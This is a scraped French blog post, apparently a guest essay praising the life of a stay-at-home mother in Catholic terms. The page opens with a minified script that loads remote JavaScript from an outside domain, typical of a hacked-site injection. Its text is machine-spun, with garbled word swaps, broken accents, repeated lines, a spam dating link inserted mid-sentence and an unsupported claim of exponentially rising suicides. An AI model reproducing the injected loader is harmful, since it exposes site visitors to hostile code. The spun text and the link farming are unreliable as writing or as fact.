;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); Cet article fut redige par Sophie, une fidele lectrice, que je remercie chaleureusement. – Eydís — Ljósmyndun

Cet article fut redige par Sophie, une fidele lectrice, que je remercie chaleureusement.

Cet article fut redige par Sophie, une fidele lectrice, que je remercie chaleureusement.

Elle est mariee et mere de 3 bambins.

« le quotidien simple et tranquille a toutes les humbles travaux du menage »

Cette phrase du grand Paul Verlaine evoque immediatement la paix, la douceur, l’ordre, le bonheur… Ah ! Notre bonheur ! Cette question qui taraude l’humanite depuis i  chaque fois ! A l’heure actuelle, ou « il n’y a plus besoin de croire en Dieu parce que la science a tout explique », ou le confort et le bonheur paraissent devenus des objectifs primordiaux, ou limite rien ne manque, du moins au sein d’ les societes occidentales, nous n’avons jamais tant peine a nous frayer un chemin vers le plaisir. Perpetuels insatisfaits, notre soif de plaisir n’a jamais ete aussi intense et desesperee qu’a l’heure actuelle materialiste. J’en veux pour preuve le nombre de suicides qui augmente chaque annee de facon exponentielle. Pour ces dames, votre autre element reste desormais presente tel intimement lie a leur acquisition du bonheur : j’ai envie parler evidemment d’une sacro-sainte emancipation, qui se traduit en particulier par la recherche effrenee une reussite sociale et la volonte de « faire carriere » pour beaucoup de jeunes femmes. Or, le taux de depression est deux fois plus eleve chez ces dames que chez les hommes a l’heure d’une « liberation d’une femme »…

Au milieu de cette confusion generale, ils font des femmes qui, au contraire, font La selection de rester « au foyer », Afin de s’occuper de leur mari ainsi que leurs enfants. Pour une grande majorite de nos contemporains, ce tri de vie est incomprehensible, incompatible avec l’idee qu’on s’fait du bonheur. Grandes sont ces dames que ce choix rebute car elles ne le voient que tel une contrainte, votre eteignoir, une voie de garage ; et elles nous le font savoir : « Ma mere aurait ete plus heureuse si elle avait eu ne serait-ce qu’un projet a mi-temps », entendons-nous ; mais aussi : « Quel gachis ! Tu as fait des etudes et maintenant tu vas disparaitre, bien ca pour torcher des gosses (sic !) ! » ; « Apres, c’est ton conseil ; mais c’est dommage, tu ne seras jamais epanouie, i  chaque fois au service des autres … » ; « Mais tu sais, carriere et vie de famille, c’est compatible… ». En moments de moins bien, ainsi, Dieu sait que les mamans en ont, il arrive que de telles reflexions refassent surface ; et, tout en epongeant un vomi, nous repensons melancoliques au « bon vieux temps » ou nous nous rendions en lei§ons, le sac rempli de livres fort savants, libres d’aller ou bon nous semblait, « les pieds sur la terre, la tete en etoiles »… Avons-nous donc laisse passer notre plaisir ? N’y a-t-il plus d’issue pour 1 epanouissement personnel dans votre voie que nous avons choisie ?

Il semble moment, grand moment de secouer une langueur, d’arreter de soupirer ainsi que retrouver notre enthousiasme voire meme notre idealisme !

Comprenons beaucoup : l’existence de femme et de mere au foyer est une jolie vie. Et quand je dis « belle », ce n’est gui?re juste au sens noble du terme. Elle peut pleinement etre notre vie « de reve » ! Celle qui nous donne besoin de nous lever le matin en chantonnant et d’avoir les yeux qui brillent… A condition toutefois de bien comprendre que « bonheur » ne rime pas avec « joie » (au sens propre et figure ;-)). J’ai petite Anne de Guigne disait : « on a bien des joies sur la terre mais elles ne durent jamais ; celle qui dure c’est d’avoir fera 1 sacrifice ». J’ai souffrance purifie, le sacrifice nous detache de nous-memes pour nous rapprocher du Pere celeste. Notre vie de maman est un devouement permanent, un oubli sans dire concernant le bien des siens. Mais au coeur meme de votre grand renoncement, on voit une place pour notre bonheur personnel, ainsi, gui?re des moindres !

Aristote avait defini le plaisir humain de cette maniere : faire chaque chose d’la facon la plus parfaite possible. Reflexion qui voit un echo chretien des plus charmants dans la Voie d’Enfance de Sainte Therese de l’Enfant Jesus. Le bonheur et la saintete a portee de main, en somme. N’est-ce pas magnifique ? Voyez comme une vie quotidienne, loin d’etre une routine ennuyeuse et etouffante peut i?tre superieurement interessante et heureuse ! Tout seulement en faisant chaque chose consciencieusement : prendre son temps Afin de chaque chose, aimer la ti?che bien fait, s’emerveiller des petites choses au passage, vivre pleinement « l’instant present », pour reprendre une expression de Sainte Therese. Naturellement il ne s’agit pas de devenir maniaque. Mais Dieu est si bon qu’il a attache votre reel plaisir dans la realisation de notre mission de cousine. Arretons d’envier les hommes ! On ne cesse de nous rabacher que l’homme s’accomplit au sein d’ le travail exterieur ; eh bien la femme pourra egalement s’accomplir, s’epanouir pleinement au sein d’ sa propre tache, son bricolage https://datingmentor.org/fr/mennation-review/ « interieur ».

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